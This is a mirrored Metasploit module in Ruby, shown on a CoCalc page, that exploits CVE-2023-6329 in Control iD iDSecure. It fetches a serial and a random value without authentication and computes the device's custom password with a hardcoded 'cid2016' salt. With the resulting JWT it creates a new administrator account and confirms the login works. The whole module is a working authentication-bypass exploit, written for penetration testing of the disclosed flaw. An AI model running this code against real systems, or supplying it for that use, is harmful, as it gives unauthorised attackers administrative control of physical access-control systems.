CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/idsecure_auth_bypass.rb
Views: 11623
1
class MetasploitModule < Msf::Auxiliary
2
include Msf::Exploit::Remote::HttpClient
3
prepend Msf::Exploit::Remote::AutoCheck
4
CheckCode = Exploit::CheckCode
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',
11
'Description' => %q{
12
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
13
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
14
},
15
'Author' => [
16
'Michael Heinzl', # MSF Module
17
'Tenable' # Discovery and PoC
18
],
19
'References' => [
20
['CVE', '2023-6329'],
21
['URL', 'https://www.tenable.com/security/research/tra-2023-36']
22
],
23
'DisclosureDate' => '2023-11-27',
24
'DefaultOptions' => {
25
'RPORT' => 30443,
26
'SSL' => 'True'
27
},
28
'License' => MSF_LICENSE,
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
'Reliability' => [REPEATABLE_SESSION],
32
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
33
}
34
)
35
)
36
37
register_options([
38
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),
39
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])
40
])
41
end
42
43
def check
44
begin
45
res = send_request_cgi({
46
'method' => 'GET',
47
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')
48
})
49
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
50
return CheckCode::Unknown
51
end
52
53
return CheckCode::Unknown unless res&.code == 401
54
55
data = res.get_json_document
56
version = data['Version']
57
return CheckCode::Unknown if version.nil?
58
59
print_status('Got version: ' + version)
60
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')
61
62
return CheckCode::Appears
63
end
64
65
def run
66
# 1) Obtain the serial and passwordRandom
67
res = send_request_cgi(
68
'method' => 'GET',
69
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')
70
)
71
72
unless res
73
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
74
end
75
unless res.code == 200
76
fail_with(Failure::UnexpectedReply, res.to_s)
77
end
78
79
json = res.get_json_document
80
unless json.key?('passwordRandom') && json.key?('serial')
81
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
82
end
83
84
password_random = json['passwordRandom']
85
serial = json['serial']
86
print_good('Retrieved passwordRandom: ' + password_random)
87
print_good('Retrieved serial: ' + serial)
88
89
# 2) Create passwordCustom
90
sha1_hash = Digest::SHA1.hexdigest(serial)
91
combined_string = sha1_hash + password_random + 'cid2016'
92
sha256_hash = Digest::SHA256.hexdigest(combined_string)
93
short_hash = sha256_hash[0, 6]
94
password_custom = short_hash.to_i(16).to_s
95
print_status("Created passwordCustom: #{password_custom}")
96
97
# 3) Login with passwordCustom and passwordRandom to obtain a JWT
98
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"
99
100
res = send_request_cgi({
101
'method' => 'POST',
102
'ctype' => 'application/json',
103
'uri' => normalize_uri(target_uri.path, 'api/login/'),
104
'data' => body
105
})
106
107
unless res
108
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
109
end
110
unless res.code == 200
111
fail_with(Failure::UnexpectedReply, res.to_s)
112
end
113
114
json = res.get_json_document
115
unless json.key?('accessToken')
116
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
117
end
118
119
access_token = json['accessToken']
120
print_good('Retrieved JWT: ' + access_token)
121
122
# 4) Add a new administrative user
123
body = {
124
idType: '1',
125
name: datastore['NEW_USER'],
126
user: datastore['NEW_USER'],
127
newPassword: datastore['NEW_PASSWORD'],
128
password_confirmation: datastore['NEW_PASSWORD']
129
}.to_json
130
131
res = send_request_cgi({
132
'method' => 'POST',
133
'ctype' => 'application/json',
134
'headers' => {
135
'Authorization' => "Bearer #{access_token}"
136
},
137
'uri' => normalize_uri(target_uri.path, 'api/operator/'),
138
'data' => body
139
})
140
141
unless res
142
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
143
end
144
145
unless res.code == 200
146
fail_with(Failure::UnexpectedReply, res.to_s)
147
end
148
149
json = res.get_json_document
150
unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
151
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
152
end
153
154
# 5) Confirm credentials work
155
body = {
156
username: datastore['NEW_USER'],
157
password: datastore['NEW_PASSWORD'],
158
passwordCustom: nil
159
}.to_json
160
161
res = send_request_cgi({
162
'method' => 'POST',
163
'ctype' => 'application/json',
164
'uri' => normalize_uri(target_uri.path, 'api/login/'),
165
'data' => body
166
})
167
168
unless res
169
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
170
end
171
172
unless res.code == 200
173
fail_with(Failure::UnexpectedReply, res.to_s)
174
end
175
176
json = res.get_json_document
177
unless json.key?('accessToken') && json.key?('unlock')
178
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
179
end
180
181
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
182
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
183
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")
184
end
185
end
186
187